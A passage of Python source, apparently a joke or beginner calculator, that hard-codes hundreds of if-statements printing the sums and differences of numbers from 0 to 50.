firstNum == 19 and sign == "+" and secondNum == 48 : print("19 + 48 = 67") if firstNum == 20 and sign == "+" and secondNum == 48 : print("20 + 48 = 68") if firstNum == 21 and sign == "+" and secondNum == 48 : print("21 + 48 = 69") if firstNum == 22 and sign == "+" and secondNum == 48 : print("22 + 48 = 70") if firstNum == 23 and sign == "+" and secondNum == 48 : print("23 + 48 = 71") if firstNum == 24 and sign == "+" and secondNum == 48 : print("24 + 48 = 72") if firstNum == 25 and sign == "+" and secondNum == 48 : print("25 + 48 = 73") if firstNum == 26 and sign == "+" and secondNum == 48 : print("26 + 48 = 74") if firstNum == 27 and sign == "+" and secondNum == 48 : print("27 + 48 = 75") if firstNum == 28 and sign == "+" and secondNum == 48 : print("28 + 48 = 76") if firstNum == 29 and sign == "+" and secondNum == 48 : print("29 + 48 = 77") if firstNum == 30 and sign == "+" and secondNum == 48 : print("30 + 48 = 78") if firstNum == 31 and sign == "+" and secondNum == 48 : print("31 + 48 = 79") if firstNum == 32 and sign == "+" and secondNum == 48 : print("32 + 48 = 80") if firstNum == 33 and sign == "+" and secondNum == 48 : print("33 + 48 = 81") if firstNum == 34 and sign == "+" and secondNum == 48 : print("34 + 48 = 82") if firstNum == 35 and sign == "+" and secondNum == 48 : print("35 + 48 = 83") if firstNum == 36 and sign == "+" and secondNum == 48 : print("36 + 48 = 84") if firstNum == 37 and sign == "+" and secondNum == 48 : print("37 + 48 = 85") if firstNum == 38 and sign == "+" and secondNum == 48 : print("38 + 48 = 86") if firstNum == 39 and sign == "+" and secondNum == 48 : print("39 + 48 = 87") if firstNum == 40 and sign == "+" and secondNum == 48 : print("40 + 48 = 88") if firstNum == 41 and sign == "+" and secondNum == 48 : print("41 + 48 = 89") if firstNum == 42 and sign == "+" and secondNum == 48 : print("42 + 48 = 90") if firstNum == 43 and sign == "+" and secondNum == 48 : print("43 + 48 = 91") if firstNum == 44 and sign == "+" and secondNum == 48 : print("44 + 48 = 92") if firstNum == 45 and sign == "+" and secondNum == 48 : print("45 + 48 = 93") if firstNum == 46 and sign == "+" and secondNum == 48 : print("46 + 48 = 94") if firstNum == 47 and sign == "+" and secondNum == 48 : print("47 + 48 = 95") if firstNum == 48 and sign == "+" and secondNum == 48 : print("48 + 48 = 96") if firstNum == 49 and sign == "+" and secondNum == 48 : print("49 + 48 = 97") if firstNum == 50 and sign == "+" and secondNum == 48 : print("50 + 48 = 98") if firstNum == 0 and sign == "+" and secondNum == 49 : print("0 + 49 = 49") if firstNum == 1 and sign == "+" and secondNum == 49 : print("1 + 49 = 50") if firstNum == 2 and sign == "+" and secondNum == 49 : print("2 + 49 = 51") if firstNum == 3 and sign == "+" and secondNum == 49 : print("3 + 49 = 52") if firstNum == 4 and sign == "+" and secondNum == 49 : print("4 + 49 = 53") if firstNum == 5 and sign == "+" and secondNum == 49 : print("5 + 49 = 54") if firstNum == 6 and sign == "+" and secondNum == 49 : print("6 + 49 = 55") if firstNum == 7 and sign == "+" and secondNum == 49 : print("7 + 49 = 56") if firstNum == 8 and sign == "+" and secondNum == 49 : print("8 + 49 = 57") if firstNum == 9 and sign == "+" and secondNum == 49 : print("9 + 49 = 58") if firstNum == 10 and sign == "+" and secondNum == 49 : print("10 + 49 = 59") if firstNum == 11 and sign == "+" and secondNum == 49 : print("11 + 49 = 60") if firstNum == 12 and sign == "+" and secondNum == 49 : print("12 + 49 = 61") if firstNum == 13 and sign == "+" and secondNum == 49 : print("13 + 49 = 62") if firstNum == 14 and sign == "+" and secondNum == 49 : print("14 + 49 = 63") if firstNum == 15 and sign == "+" and secondNum == 49 : print("15 + 49 = 64") if firstNum == 16 and sign == "+" and secondNum == 49 : print("16 + 49 = 65") if firstNum == 17 and sign == "+" and secondNum == 49 : print("17 + 49 = 66") if firstNum == 18 and sign == "+" and secondNum == 49 : print("18 + 49 = 67") if firstNum == 19 and sign == "+" and secondNum == 49 : print("19 + 49 = 68") if firstNum == 20 and sign == "+" and secondNum == 49 : print("20 + 49 = 69") if firstNum == 21 and sign == "+" and secondNum == 49 : print("21 + 49 = 70") if firstNum == 22 and sign == "+" and secondNum == 49 : print("22 + 49 = 71") if firstNum == 23 and sign == "+" and secondNum == 49 : print("23 + 49 = 72") if firstNum == 24 and sign == "+" and secondNum == 49 : print("24 + 49 = 73") if firstNum == 25 and sign == "+" and secondNum == 49 : print("25 + 49 = 74") if firstNum == 26 and sign == "+" and secondNum == 49 : print("26 + 49 = 75") if firstNum == 27 and sign == "+" and secondNum == 49 : print("27 + 49 = 76") if firstNum == 28 and sign == "+" and secondNum == 49 : print("28 + 49 = 77") if firstNum == 29 and sign == "+" and secondNum == 49 : print("29 + 49 = 78") if firstNum == 30 and sign == "+" and secondNum == 49 : print("30 + 49 = 79") if firstNum == 31 and sign == "+" and secondNum == 49 : print("31 + 49 = 80") if firstNum == 32 and sign == "+" and secondNum == 49 : print("32 + 49 = 81") if firstNum == 33 and sign == "+" and secondNum == 49 : print("33 + 49 = 82") if firstNum == 34 and sign == "+" and secondNum == 49 : print("34 + 49 = 83") if firstNum == 35 and sign == "+" and secondNum == 49 : print("35 + 49 = 84") if firstNum == 36 and sign == "+" and secondNum == 49 : print("36 + 49 = 85") if firstNum == 37 and sign == "+" and secondNum == 49 : print("37 + 49 = 86") if firstNum == 38 and sign == "+" and secondNum == 49 : print("38 + 49 = 87") if firstNum == 39 and sign == "+" and secondNum == 49 : print("39 + 49 = 88") if firstNum == 40 and sign == "+" and secondNum == 49 : print("40 + 49 = 89") if firstNum == 41 and sign == "+" and secondNum == 49 : print("41 + 49 = 90") if firstNum == 42 and sign == "+" and secondNum == 49 : print("42 + 49 = 91") if firstNum == 43 and sign == "+" and secondNum == 49 : print("43 + 49 = 92") if firstNum == 44 and sign == "+" and secondNum == 49 : print("44 + 49 = 93") if firstNum == 45 and sign == "+" and secondNum == 49 : print("45 + 49 = 94") if firstNum == 46 and sign == "+" and secondNum == 49 : print("46 + 49 = 95") if firstNum == 47 and sign == "+" and secondNum == 49 : print("47 + 49 = 96") if firstNum == 48 and sign == "+" and secondNum == 49 : print("48 + 49 = 97") if firstNum == 49 and sign == "+" and secondNum == 49 : print("49 + 49 = 98") if firstNum == 50 and sign == "+" and secondNum == 49 : print("50 + 49 = 99") if firstNum == 0 and sign == "+" and secondNum == 50 : print("0 + 50 = 50") if firstNum == 1 and sign == "+" and secondNum == 50 : print("1 + 50 = 51") if firstNum == 2 and sign == "+" and secondNum == 50 : print("2 + 50 = 52") if firstNum == 3 and sign == "+" and secondNum == 50 : print("3 + 50 = 53") if firstNum == 4 and sign == "+" and secondNum == 50 : print("4 + 50 = 54") if firstNum == 5 and sign == "+" and secondNum == 50 : print("5 + 50 = 55") if firstNum == 6 and sign == "+" and secondNum == 50 : print("6 + 50 = 56") if firstNum == 7 and sign == "+" and secondNum == 50 : print("7 + 50 = 57") if firstNum == 8 and sign == "+" and secondNum == 50 : print("8 + 50 = 58") if firstNum == 9 and sign == "+" and secondNum == 50 : print("9 + 50 = 59") if firstNum == 10 and sign == "+" and secondNum == 50 : print("10 + 50 = 60") if firstNum == 11 and sign == "+" and secondNum == 50 : print("11 + 50 = 61") if firstNum == 12 and sign == "+" and secondNum == 50 : print("12 + 50 = 62") if firstNum == 13 and sign == "+" and secondNum == 50 : print("13 + 50 = 63") if firstNum == 14 and sign == "+" and secondNum == 50 : print("14 + 50 = 64") if firstNum == 15 and sign == "+" and secondNum == 50 : print("15 + 50 = 65") if firstNum == 16 and sign == "+" and secondNum == 50 : print("16 + 50 = 66") if firstNum == 17 and sign == "+" and secondNum == 50 : print("17 + 50 = 67") if firstNum == 18 and sign == "+" and secondNum == 50 : print("18 + 50 = 68") if firstNum == 19 and sign == "+" and secondNum == 50 : print("19 + 50 = 69") if firstNum == 20 and sign == "+" and secondNum == 50 : print("20 + 50 = 70") if firstNum == 21 and sign == "+" and secondNum == 50 : print("21 + 50 = 71") if firstNum == 22 and sign == "+" and secondNum == 50 : print("22 + 50 = 72") if firstNum == 23 and sign == "+" and secondNum == 50 : print("23 + 50 = 73") if firstNum == 24 and sign == "+" and secondNum == 50 : print("24 + 50 = 74") if firstNum == 25 and sign == "+" and secondNum == 50 : print("25 + 50 = 75") if firstNum == 26 and sign == "+" and secondNum == 50 : print("26 + 50 = 76") if firstNum == 27 and sign == "+" and secondNum == 50 : print("27 + 50 = 77") if firstNum == 28 and sign == "+" and secondNum == 50 : print("28 + 50 = 78") if firstNum == 29 and sign == "+" and secondNum == 50 : print("29 + 50 = 79") if firstNum == 30 and sign == "+" and secondNum == 50 : print("30 + 50 = 80") if firstNum == 31 and sign == "+" and secondNum == 50 : print("31 + 50 = 81") if firstNum == 32 and sign == "+" and secondNum == 50 : print("32 + 50 = 82") if firstNum == 33 and sign == "+" and secondNum == 50 : print("33 + 50 = 83") if firstNum == 34 and sign == "+" and secondNum == 50 : print("34 + 50 = 84") if firstNum == 35 and sign == "+" and secondNum == 50 : print("35 + 50 = 85") if firstNum == 36 and sign == "+" and secondNum == 50 : print("36 + 50 = 86") if firstNum == 37 and sign == "+" and secondNum == 50 : print("37 + 50 = 87") if firstNum == 38 and sign == "+" and secondNum == 50 : print("38 + 50 = 88") if firstNum == 39 and sign == "+" and secondNum == 50 : print("39 + 50 = 89") if firstNum == 40 and sign == "+" and secondNum == 50 : print("40 + 50 = 90") if firstNum == 41 and sign == "+" and secondNum == 50 : print("41 + 50 = 91") if firstNum == 42 and sign == "+" and secondNum == 50 : print("42 + 50 = 92") if firstNum == 43 and sign == "+" and secondNum == 50 : print("43 + 50 = 93") if firstNum == 44 and sign == "+" and secondNum == 50 : print("44 + 50 = 94") if firstNum == 45 and sign == "+" and secondNum == 50 : print("45 + 50 = 95") if firstNum == 46 and sign == "+" and secondNum == 50 : print("46 + 50 = 96") if firstNum == 47 and sign == "+" and secondNum == 50 : print("47 + 50 = 97") if firstNum == 48 and sign == "+" and secondNum == 50 : print("48 + 50 = 98") if firstNum == 49 and sign == "+" and secondNum == 50 : print("49 + 50 = 99") if firstNum == 50 and sign == "+" and secondNum == 50 : print("50 + 50 = 100") if firstNum == 0 and sign == "-" and secondNum == 0 : print("0 - 0 = 0") if firstNum == 1 and sign == "-" and secondNum == 0 : print("1 - 0 = 1") if firstNum == 2 and sign == "-" and secondNum == 0 : print("2 - 0 = 2") if firstNum == 3 and sign == "-" and secondNum == 0 : print("3 - 0 = 3") if firstNum == 4 and sign == "-" and secondNum == 0 : print("4 - 0 = 4") if firstNum == 5 and sign == "-" and secondNum == 0 : print("5 - 0 = 5") if firstNum == 6 and sign == "-" and secondNum == 0 : print("6 - 0 = 6") if firstNum == 7 and sign == "-" and secondNum == 0 : print("7 - 0 = 7") if firstNum == 8 and sign == "-" and secondNum == 0 : print("8 - 0 = 8") if firstNum == 9 and sign == "-" and secondNum == 0 : print("9 - 0 = 9") if firstNum == 10 and sign == "-" and secondNum == 0 : print("10 - 0 = 10") if firstNum == 11 and sign == "-" and secondNum == 0 : print("11 - 0 = 11") if firstNum == 12 and sign == "-" and secondNum == 0 : print("12 - 0 = 12") if firstNum == 13 and sign == "-" and secondNum == 0 : print("13 - 0 = 13") if firstNum == 14 and sign == "-" and secondNum == 0 : print("14 - 0 = 14") if firstNum == 15 and sign == "-" and secondNum == 0 : print("15 - 0 = 15") if firstNum == 16 and sign == "-" and secondNum == 0 : print("16 - 0 = 16") if firstNum == 17 and sign == "-" and secondNum == 0 : print("17 - 0 = 17") if firstNum == 18 and sign == "-" and secondNum == 0 : print("18 - 0 = 18") if firstNum == 19 and sign == "-" and secondNum == 0 : print("19 - 0 = 19") if firstNum == 20 and sign == "-" and secondNum == 0 : print("20 - 0 = 20") if firstNum == 21 and sign == "-" and secondNum == 0 : print("21 - 0 = 21") if firstNum == 22 and sign == "-" and secondNum == 0 : print("22 - 0 = 22") if firstNum == 23 and sign == "-" and secondNum == 0 : print("23 - 0 = 23") if firstNum == 24 and sign == "-" and secondNum == 0 : print("24 - 0 = 24") if firstNum == 25 and sign == "-" and secondNum == 0 : print("25 - 0 = 25") if firstNum == 26 and sign == "-" and secondNum == 0 : print("26 - 0 = 26") if firstNum == 27 and sign == "-" and secondNum == 0 : print("27 - 0 = 27") if firstNum == 28 and sign == "-" and secondNum == 0 : print("28 - 0 = 28") if firstNum == 29 and sign == "-" and secondNum == 0 : print("29 - 0 = 29") if firstNum == 30 and sign == "-" and secondNum == 0 : print("30 - 0 = 30") if firstNum == 31 and sign == "-" and secondNum == 0 : print("31 - 0 = 31") if firstNum == 32 and sign == "-" and secondNum == 0 : print("32 - 0 = 32") if firstNum == 33 and sign == "-" and secondNum == 0 : print("33 - 0 = 33") if firstNum == 34 and sign == "-" and secondNum == 0 : print("34 - 0 = 34") if firstNum == 35 and sign == "-" and secondNum == 0 : print("35 - 0 = 35") if firstNum == 36 and sign == "-" and secondNum == 0 : print("36 - 0 = 36") if firstNum == 37 and sign == "-" and secondNum == 0 : print("37 - 0 = 37") if firstNum == 38 and sign == "-" and secondNum == 0 : print("38 - 0 = 38") if firstNum == 39 and sign == "-" and secondNum == 0 : print("39 - 0 = 39") if firstNum == 40 and sign == "-" and secondNum == 0 : print("40 - 0 = 40") if firstNum == 41 and sign == "-" and secondNum == 0 : print("41 - 0 = 41") if firstNum == 42 and sign == "-" and secondNum == 0 : print("42 - 0 = 42") if firstNum == 43 and sign == "-" and secondNum == 0 : print("43 - 0 = 43") if firstNum == 44 and sign == "-" and secondNum == 0 : print("44 - 0 = 44") if firstNum == 45 and sign == "-" and secondNum == 0 : print("45 - 0 = 45") if firstNum == 46 and sign == "-" and secondNum == 0 : print("46 - 0 = 46") if firstNum == 47 and sign == "-" and secondNum == 0 : print("47 - 0 = 47") if firstNum == 48 and sign == "-" and secondNum == 0 : print("48 - 0 = 48") if firstNum == 49 and sign == "-" and secondNum == 0 : print("49 - 0 = 49") if firstNum == 50 and sign == "-" and secondNum == 0 : print("50 - 0 = 50") if firstNum == 0 and sign == "-" and secondNum == 1 : print("0 - 1 = -1") if firstNum == 1 and sign == "-" and secondNum == 1 : print("1 - 1 = 0") if firstNum == 2 and sign == "-" and secondNum == 1 : print("2 - 1 = 1") if firstNum == 3 and sign == "-" and secondNum == 1 : print("3 - 1 = 2") if firstNum == 4 and sign == "-" and secondNum == 1 : print("4 - 1 = 3") if firstNum == 5 and sign == "-" and secondNum == 1 : print("5 - 1 = 4") if firstNum == 6 and sign == "-" and secondNum == 1 : print("6 - 1 = 5") if firstNum == 7 and sign == "-" and secondNum == 1 : print("7 - 1 = 6") if firstNum == 8 and sign == "-" and secondNum == 1 : print("8 - 1 = 7") if firstNum == 9 and sign == "-" and secondNum == 1 : print("9 - 1 = 8") if firstNum == 10 and sign == "-" and secondNum == 1 : print("10 - 1 = 9") if firstNum == 11 and sign == "-" and secondNum == 1 : print("11 - 1 = 10") if firstNum == 12 and sign == "-" and secondNum == 1 : print("12 - 1 = 11") if firstNum == 13 and sign == "-" and secondNum == 1 : print("13 - 1 = 12") if firstNum == 14 and sign == "-" and secondNum == 1 : print("14 - 1 = 13") if firstNum == 15 and sign == "-" and secondNum == 1 : print("15 - 1 = 14") if firstNum == 16 and sign == "-" and secondNum == 1 : print("16 - 1 = 15") if firstNum == 17 and sign == "-" and secondNum == 1 : print("17 - 1 = 16") if firstNum == 18 and sign == "-" and secondNum == 1 : print("18 - 1 = 17") if firstNum == 19 and sign == "-" and secondNum == 1 : print("19 - 1 = 18") if firstNum == 20 and sign == "-" and secondNum == 1 : print("20 - 1 = 19") if firstNum == 21 and sign == "-" and secondNum == 1 : print("21 - 1 = 20") if firstNum == 22 and sign == "-" and secondNum == 1 : print("22 - 1 = 21") if firstNum == 23 and sign == "-" and secondNum == 1 : print("23 - 1 = 22") if firstNum == 24 and sign == "-" and secondNum == 1 : print("24 - 1 = 23") if firstNum == 25 and sign == "-" and secondNum == 1 : print("25 - 1 = 24") if firstNum == 26 and sign == "-" and secondNum == 1 : print("26 - 1 = 25") if firstNum == 27 and sign == "-" and secondNum == 1 : print("27 - 1 = 26") if firstNum == 28 and sign == "-" and secondNum == 1 : print("28 - 1 = 27") if firstNum == 29 and sign == "-" and secondNum == 1 : print("29 - 1 = 28") if firstNum == 30 and sign == "-" and secondNum == 1 : print("30 - 1 = 29") if firstNum == 31 and sign == "-" and secondNum == 1 : print("31 - 1 = 30") if firstNum == 32 and sign == "-" and secondNum == 1 : print("32 - 1 = 31") if firstNum == 33 and sign == "-" and secondNum == 1 : print("33 - 1 = 32") if firstNum == 34 and sign == "-" and secondNum == 1 : print("34 - 1 = 33") if firstNum == 35 and sign == "-" and secondNum == 1 : print("35 - 1 = 34") if firstNum == 36 and sign == "-" and secondNum == 1 : print("36 - 1 = 35") if firstNum == 37 and sign == "-" and secondNum == 1 : print("37 - 1 = 36") if firstNum == 38 and sign == "-" and secondNum == 1 : print("38 - 1 = 37") if firstNum == 39 and sign == "-" and secondNum == 1 : print("39 - 1 = 38") if firstNum == 40 and sign == "-" and secondNum == 1 : print("40 - 1 = 39") if firstNum == 41 and sign == "-" and secondNum == 1 : print("41 - 1 = 40") if firstNum == 42 and sign == "-" and secondNum == 1 : print("42 - 1 = 41") if firstNum == 43 and sign == "-" and secondNum == 1 : print("43 - 1 = 42") if firstNum == 44 and sign == "-" and secondNum == 1 : print("44 - 1 = 43") if firstNum == 45 and sign == "-" and secondNum == 1 : print("45 - 1 = 44") if firstNum == 46 and sign == "-" and secondNum == 1 : print("46 - 1 = 45") if firstNum == 47 and sign == "-" and secondNum == 1 : print("47 - 1 = 46") if firstNum == 48 and sign == "-" and secondNum == 1 : print("48 - 1 = 47") if firstNum == 49 and sign == "-" and secondNum == 1 : print("49 - 1 = 48") if firstNum == 50 and sign == "-" and secondNum == 1 : print("50 - 1 = 49") if firstNum == 0 and sign == "-" and secondNum == 2 : print("0 - 2 = -2") if firstNum == 1 and sign == "-" and secondNum == 2 : print("1 - 2 = -1") if firstNum == 2 and sign == "-" and secondNum == 2 : print("2 - 2 = 0") if firstNum == 3 and sign == "-" and secondNum == 2 : print("3 - 2 = 1") if firstNum == 4 and sign == "-" and secondNum == 2 : print("4 - 2 = 2") if firstNum == 5 and sign == "-" and secondNum == 2 : print("5 - 2 = 3") if firstNum == 6 and sign == "-" and secondNum == 2 : print("6 - 2 = 4") if firstNum == 7 and sign == "-" and secondNum == 2 : print("7 - 2 = 5") if firstNum == 8 and sign == "-" and secondNum == 2 : print("8 - 2 = 6") if firstNum == 9 and sign == "-" and secondNum == 2 : print("9 - 2 = 7") if firstNum == 10 and sign == "-" and secondNum == 2 : print("10 - 2 = 8") if firstNum == 11 and sign == "-" and secondNum == 2 : print("11 - 2 = 9") if firstNum == 12 and sign == "-" and secondNum == 2 : print("12 - 2 = 10") if firstNum == 13 and sign == "-" and secondNum == 2 : print("13 - 2 = 11") if firstNum == 14 and sign == "-" and secondNum == 2 : print("14 - 2 = 12") if firstNum == 15 and sign == "-" and secondNum == 2 : print("15 - 2 = 13") if firstNum == 16 and sign == "-" and secondNum == 2 : print("16 - 2 = 14") if firstNum == 17 and sign == "-" and secondNum == 2 : print("17 - 2 = 15") if firstNum == 18 and sign == "-" and secondNum == 2 : print("18 - 2 = 16") if firstNum == 19 and sign == "-" and secondNum == 2 : print("19 - 2 = 17") if firstNum == 20 and sign == "-" and secondNum == 2 : print("20 - 2 = 18") if firstNum == 21 and sign == "-" and secondNum == 2 : print("21 - 2 = 19") if firstNum == 22 and sign == "-" and secondNum == 2 : print("22 - 2 = 20") if firstNum == 23 and sign == "-" and secondNum == 2 : print("23 - 2 = 21") if firstNum == 24 and sign == "-" and secondNum == 2 : print("24 - 2 = 22") if firstNum == 25 and sign == "-" and secondNum == 2 : print("25 - 2 = 23") if firstNum == 26 and sign == "-" and secondNum == 2 : print("26 - 2 = 24") if firstNum == 27 and sign == "-" and secondNum == 2 : print("27 - 2 = 25") if firstNum == 28 and sign == "-" and secondNum == 2 : print("28 - 2 = 26") if firstNum == 29 and sign == "-" and secondNum == 2 : print("29 - 2 = 27") if firstNum == 30 and sign == "-" and secondNum == 2 : print("30 - 2 = 28") if firstNum == 31 and sign == "-" and secondNum == 2 : print("31 - 2 = 29") if firstNum == 32 and sign == "-" and secondNum == 2 : print("32 - 2 = 30") if firstNum == 33 and sign == "-" and secondNum == 2 : print("33 - 2 = 31") if firstNum == 34 and sign == "-" and secondNum == 2 : print("34 - 2 = 32") if firstNum == 35 and sign == "-" and secondNum == 2 : print("35 - 2 = 33") if firstNum == 36 and sign == "-" and secondNum == 2 : print("36 - 2 = 34") if firstNum == 37 and sign == "-" and secondNum == 2 : print("37 - 2 = 35") if firstNum == 38 and sign == "-" and secondNum == 2 : print("38 - 2 = 36") if firstNum == 39 and sign == "-" and secondNum == 2 : print("39 - 2 = 37") if firstNum == 40 and sign == "-" and secondNum == 2 : print("40 - 2 = 38") if firstNum == 41 and sign == "-" and secondNum == 2 : print("41 - 2 = 39") if firstNum == 42 and sign == "-" and secondNum == 2 : print("42 - 2 = 40") if firstNum == 43 and sign == "-" and secondNum == 2 : print("43 - 2 = 41") if firstNum == 44 and sign == "-" and secondNum == 2 : print("44 - 2 = 42") if firstNum == 45 and sign == "-" and secondNum == 2 : print("45 - 2 = 43") if firstNum == 46 and sign == "-" and secondNum == 2 : print("46 - 2 = 44") if firstNum == 47 and sign == "-" and secondNum == 2 : print("47 - 2 = 45") if firstNum == 48 and sign == "-" and secondNum == 2 : print("48 - 2 = 46") if firstNum == 49 and sign == "-" and secondNum == 2 : print("49 - 2 = 47") if firstNum == 50 and sign == "-" and secondNum == 2 : print("50 - 2 = 48") if firstNum == 0 and sign == "-" and secondNum == 3 : print("0 - 3 = -3") if firstNum == 1 and sign == "-" and secondNum == 3 : print("1 - 3 = -2") if firstNum == 2 and sign == "-" and secondNum == 3 : print("2 - 3 = -1") if firstNum == 3 and sign == "-" and secondNum == 3 : print("3 - 3 = 0") if firstNum == 4 and sign == "-" and secondNum == 3 : print("4 - 3 = 1") if firstNum == 5 and sign == "-" and secondNum == 3 : print("5 - 3 = 2") if firstNum == 6 and sign == "-" and secondNum == 3 : print("6 - 3 = 3") if firstNum == 7 and sign == "-" and secondNum == 3 : print("7 - 3 = 4") if firstNum == 8 and sign == "-" and secondNum == 3 : print("8 - 3 = 5") if firstNum == 9 and sign == "-" and secondNum == 3 : print("9 - 3 = 6") if firstNum == 10 and sign == "-" and secondNum == 3 : print("10 - 3 = 7") if firstNum == 11 and sign == "-" and secondNum == 3 : print("11 - 3 = 8") if firstNum == 12 and sign == "-" and secondNum == 3 : print("12 - 3 = 9") if firstNum == 13 and sign == "-" and secondNum == 3 : print("13 - 3 = 10") if firstNum == 14 and sign == "-" and secondNum == 3 : print("14 - 3 = 11") if firstNum == 15 and sign == "-" and secondNum == 3 : print("15 - 3 = 12") if firstNum == 16 and sign == "-" and secondNum == 3 : print("16 - 3 = 13") if firstNum == 17 and sign == "-" and secondNum == 3 : print("17 - 3 = 14") if firstNum == 18 and sign == "-" and secondNum == 3 : print("18 - 3 = 15") if firstNum == 19 and sign == "-" and secondNum == 3 : print("19 - 3 = 16") if firstNum == 20 and sign == "-" and secondNum == 3 : print("20 - 3 = 17") if firstNum == 21 and sign == "-" and secondNum == 3 : print("21 - 3 = 18") if firstNum == 22 and sign == "-" and secondNum == 3 : print("22 - 3 = 19") if firstNum == 23 and sign == "-" and secondNum == 3 : print("23 - 3 = 20") if firstNum == 24 and sign == "-" and secondNum == 3 : print("24 - 3 = 21") if firstNum == 25 and sign == "-" and secondNum == 3 : print("25 - 3 = 22") if firstNum == 26 and sign == "-" and secondNum == 3 : print("26 - 3 = 23") if firstNum == 27 and sign == "-" and secondNum == 3 : print("27 - 3 = 24") if firstNum == 28 and sign == "-" and secondNum == 3 : print("28 - 3 = 25") if firstNum == 29 and sign == "-" and secondNum == 3 : print("29 - 3 = 26") if firstNum == 30 and sign == "-" and secondNum == 3 : print("30 - 3 = 27") if firstNum == 31 and sign == "-" and secondNum == 3 : print("31 - 3 = 28") if firstNum == 32 and sign == "-" and secondNum == 3 : print("32 - 3 = 29") if firstNum == 33 and sign == "-" and secondNum == 3 : print("33 - 3 = 30") if firstNum == 34 and sign == "-" and secondNum == 3 : print("34 - 3 = 31") if firstNum == 35 and sign == "-" and secondNum == 3 : print("35 - 3 = 32") if firstNum == 36 and sign == "-" and secondNum == 3 : print("36 - 3 = 33") if firstNum == 37 and sign == "-" and secondNum == 3 : print("37 - 3 = 34") if firstNum == 38 and sign == "-" and secondNum == 3 : print("38 - 3 = 35") if firstNum == 39 and sign == "-" and secondNum == 3 : print("39 - 3 = 36") if firstNum == 40 and sign == "-" and secondNum == 3 : print("40 - 3 = 37") if firstNum == 41 and sign == "-" and secondNum == 3 : print("41 - 3 = 38") if firstNum == 42 and sign == "-" and secondNum == 3 : print("42 - 3 = 39") if firstNum == 43 and sign == "-" and secondNum == 3 : print("43 - 3 = 40") if firstNum == 44 and sign == "-" and secondNum == 3 : print("44 - 3 = 41") if firstNum == 45 and sign == "-" and secondNum == 3 : print("45 - 3 = 42") if firstNum == 46 and sign == "-" and secondNum == 3 : print("46 - 3 = 43") if firstNum == 47 and sign == "-" and secondNum == 3 : print("47 - 3 = 44") if firstNum == 48 and sign == "-" and secondNum == 3 : print("48 - 3 = 45") if firstNum == 49 and sign == "-" and secondNum == 3 : print("49 - 3 = 46") if firstNum == 50 and sign == "-" and secondNum == 3 : print("50 - 3 = 47") if firstNum == 0 and sign == "-" and secondNum == 4 : print("0 - 4 = -4") if firstNum == 1 and sign == "-" and secondNum == 4 : print("1 - 4 = -3") if firstNum == 2 and sign == "-" and secondNum == 4 : print("2 - 4 = -2") if firstNum == 3 and sign == "-" and secondNum == 4 : print("3 - 4 = -1") if firstNum == 4 and sign == "-" and secondNum == 4 : print("4 - 4 = 0") if firstNum == 5 and sign == "-" and secondNum == 4 : print("5 - 4 = 1") if firstNum == 6 and sign == "-" and secondNum == 4 : print("6 - 4 = 2") if firstNum == 7 and sign == "-" and secondNum == 4 : print("7 - 4 = 3") if firstNum == 8 and sign == "-" and secondNum == 4 : print("8 - 4 = 4") if firstNum == 9 and sign == "-" and secondNum == 4 : print("9 - 4 = 5") if firstNum == 10 and sign == "-" and secondNum == 4 : print("10 - 4 = 6") if firstNum == 11 and sign == "-" and secondNum == 4 : print("11 - 4 = 7") if firstNum == 12 and sign == "-" and secondNum == 4 : print("12 - 4 = 8") if firstNum == 13 and sign == "-" and secondNum == 4 : print("13 - 4 = 9") if firstNum == 14 and sign == "-" and secondNum == 4 : print("14 - 4 = 10") if firstNum == 15 and sign == "-" and secondNum == 4 : print("15 - 4 = 11") if firstNum == 16 and sign == "-" and secondNum == 4 : print("16 - 4 = 12") if firstNum == 17 and sign == "-" and secondNum == 4 : print("17 - 4 = 13") if firstNum == 18 and sign == "-" and secondNum == 4 : print("18 - 4 = 14") if firstNum == 19 and sign == "-" and secondNum == 4 : print("19 - 4 = 15") if firstNum == 20 and sign == "-" and secondNum == 4 : print("20 - 4 = 16") if firstNum == 21 and sign == "-" and secondNum == 4 : print("21 - 4 = 17") if firstNum == 22 and sign == "-" and secondNum == 4 : print("22 - 4 = 18") if firstNum == 23 and sign == "-" and secondNum == 4 : print("23 - 4 = 19") if firstNum == 24 and sign == "-" and secondNum == 4 : print("24 - 4 = 20") if firstNum == 25 and sign == "-" and secondNum == 4 : print("25 - 4 = 21") if firstNum == 26 and sign == "-" and secondNum == 4 : print("26 - 4 = 22") if firstNum == 27 and sign == "-" and secondNum == 4 : print("27 - 4 = 23") if firstNum == 28 and sign == "-" and secondNum == 4 : print("28 - 4 = 24") if firstNum == 29 and sign == "-" and secondNum == 4 : print("29 - 4 = 25") if firstNum == 30 and sign == "-" and secondNum == 4 : print("30 - 4 = 26") if firstNum == 31 and sign == "-" and secondNum == 4 : print("31 - 4 = 27") if firstNum == 32 and sign == "-" and secondNum == 4 : print("32 - 4 = 28") if firstNum == 33 and sign == "-" and secondNum == 4 : print("33 - 4 = 29") if firstNum == 34 and sign == "-" and secondNum == 4 : print("34 - 4 = 30") if firstNum == 35 and sign == "-" and secondNum == 4 : print("35 - 4 = 31") if firstNum == 36 and sign == "-" and secondNum == 4 : print("36 - 4 = 32") if firstNum == 37 and sign == "-" and secondNum == 4 : print("37 - 4 = 33") if firstNum == 38 and sign == "-" and secondNum == 4 : print("38 - 4 = 34") if firstNum == 39 and sign == "-" and secondNum == 4 : print("39 - 4 = 35") if firstNum == 40 and sign == "-" and secondNum == 4 : print("40 - 4 = 36") if firstNum == 41 and sign == "-" and secondNum == 4 : print("41 - 4 = 37") if firstNum == 42 and sign == "-" and secondNum == 4 : print("42 - 4 = 38") if firstNum == 43 and sign == "-" and secondNum == 4 : print("43 - 4 = 39") if firstNum == 44 and sign == "-" and secondNum == 4 : print("44 - 4 = 40") if firstNum == 45 and sign == "-" and secondNum == 4 : print("45 - 4 = 41") if firstNum == 46 and sign == "-" and secondNum == 4 : print("46 - 4 = 42") if firstNum == 47 and sign == "-" and secondNum == 4 : print("47 - 4 = 43") if firstNum == 48 and sign == "-" and secondNum == 4 : print("48 - 4 = 44") if firstNum == 49 and sign == "-" and secondNum == 4 : print("49 - 4 = 45") if firstNum == 50 and sign == "-" and secondNum == 4 : print("50 - 4 = 46") if firstNum == 0 and sign == "-" and secondNum == 5 : print("0 - 5 = -5") if firstNum == 1 and sign == "-" and secondNum == 5 : print("1 - 5 = -4") if firstNum == 2 and sign == "-" and secondNum == 5 : print("2 - 5 = -3") if firstNum == 3 and sign == "-" and secondNum == 5 : print("3 - 5 = -2") if firstNum == 4 and sign == "-" and secondNum == 5 : print("4 - 5 = -1") if firstNum == 5 and sign == "-" and secondNum == 5 : 